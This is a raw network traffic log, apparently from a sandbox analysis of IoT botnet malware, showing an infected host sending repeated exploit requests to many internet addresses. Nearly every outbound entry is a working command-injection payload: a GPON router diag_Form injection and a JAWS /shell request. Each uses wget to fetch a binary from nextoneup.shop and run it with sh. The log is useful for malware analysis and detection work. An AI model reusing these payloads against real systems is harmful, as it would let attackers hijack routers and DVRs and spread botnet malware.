Apr 14, 2024 04:00:33.390399933 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1279	192.168.2.23	40628	118.255.54.212	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.390454054 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1280	192.168.2.23	41682	212.177.203.142	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.390486956 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1281	192.168.2.23	42810	210.206.18.99	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.390527964 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1282	192.168.2.23	39590	118.89.78.142	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.390585899 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1283	192.168.2.23	40546	109.196.38.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.390628099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1284	192.168.2.23	36054	202.163.71.88	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.390726089 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1285	192.168.2.23	45076	64.79.180.67	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.466556072 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1286	192.168.2.23	43274	38.152.60.111	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.468226910 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:33.706073999 CEST	1289	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.20 Mime-Version: 1.0 Date: Sun, 14 Apr 2024 02:00:33 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3550 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png') no-
Apr 14, 2024 04:00:33.706114054 CEST	1289	IN	Data Raw: 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 Data Ascii: repeat left;}/* initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content ar
Apr 14, 2024 04:00:33.706151009 CEST	1228	IN	Data Raw: 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 32 3e 0a 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 65 72 Data Ascii: RL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the URL: <a href="/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws">/shell?cd+/tmp;rm+-rf+;wget

Session ID	Source IP	Source Port	Destination IP	Destination Port
1287	192.168.2.23	44568	179.53.185.182	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.547487974 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:33.866828918 CEST	588	IN	HTTP/1.1 404 Not Found Server: Mini web server 1.0 ZTE corp 2005. Content-Type: text/html; charset=UTF-8 Accept-Ranges: bytes Connection: close Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL was not found on this server.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1288	192.168.2.23	55412	210.99.38.20	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.580842972 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:33.975348949 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:34.919168949 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:36.774750948 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:40.518253088 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:47.941152096 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:02.787168980 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:33.246902943 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1289	192.168.2.23	34552	13.33.218.4	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.599067926 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:33.921571970 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:33 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1290	192.168.2.23	40826	45.40.228.134	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.611923933 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:33.951138020 CEST	435	IN	HTTP/1.1 404 Not Found Server: openresty Date: Sun, 14 Apr 2024 02:00:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 235 Connection: keep-alive ETag: "5f295cf1-eb" Data Raw: 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e7 82 b9 e5 87 bb e8 bf 94 e5 9b 9e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 33 36 35 72 69 6c 69 2e 63 6f 6d 22 3e 33 36 35 72 69 6c 69 2e 63 6f 6d 3c 2f 61 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head><a href="http://www.365rili.com">365rili.com</a></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1291	192.168.2.23	43618	138.201.205.149	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.615200996 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:33.957746029 CEST	528	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:33 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 14 Connection: keep-alive Vary: Accept-Encoding Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, X-Homad-Compatible-Vpaid, X-Homad-Post, X-Homad-Url Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Date, X-Homad-Instance, X-Homad-Long-Ad-Ignored, X-Homad-Sig, X-Homad-Url, X-Homad-Vpaid-Ignored, X-Homad-Ad-Id Data Raw: 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: 404: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1292	192.168.2.23	60084	59.111.246.132	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.630357027 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1293	192.168.2.23	58514	190.253.246.27	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.819432020 CEST	809	IN	Data Raw: 55 4e 4b 4e 4f 57 4e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 31 33 20 41 70 72 20 32 30 32 34 20 32 31 3a 30 31 3a 35 32 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 Data Ascii: UNKNOWN 400 Bad RequestDate: Sat, 13 Apr 2024 21:01:52 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=%sX-XSS-Protection: 1X-Content-Type-Options: 'nosniff'X-Frame-Options: SAMEORIGINContent-Security-Policy:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1294	192.168.2.23	60138	116.211.203.36	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.862231970 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:34.176964998 CEST	320	IN	HTTP/1.1 404 Not Found Server: openresty/1.15.8.1 Date: Sun, 14 Apr 2024 02:00:34 GMT Content-Type: text/html Content-Length: 159 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1295	192.168.2.23	35790	18.161.121.135	80

Timestamp	Bytes transferred	Direction	Data
